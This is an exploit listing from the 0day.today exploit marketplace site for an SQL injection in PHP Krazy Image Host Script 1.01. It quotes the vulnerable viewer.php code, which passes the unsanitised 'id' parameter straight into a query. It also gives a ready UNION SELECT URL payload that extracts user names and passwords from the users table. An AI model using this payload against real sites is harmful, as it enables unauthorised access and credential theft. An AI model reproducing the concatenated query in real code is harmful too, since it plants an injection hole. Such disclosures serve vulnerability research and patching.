[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP Krazy Image Host Script 1.01 (viewer.php id) SQL Injection Vuln

Author
x0r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4845
Category
web applications
Date add
12-02-2009
Platform
unsorted
===================================================================
PHP Krazy Image Host Script 1.01 (viewer.php id) SQL Injection Vuln
===================================================================


#########################################################################################
[0x01] Informations:

Name           : PHP Krazy Image Host Script 1.01
Download       : http://www.hotscripts.com/listings/jump/download/66961/
Vulnerability  : Sql Injection
Author         : x0r
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/viewer.php

[Code]
	 	$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: http://victim.it/viewer.php?id=-1 union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--

########################################################################################



#  0day.today [2024-12-25]  #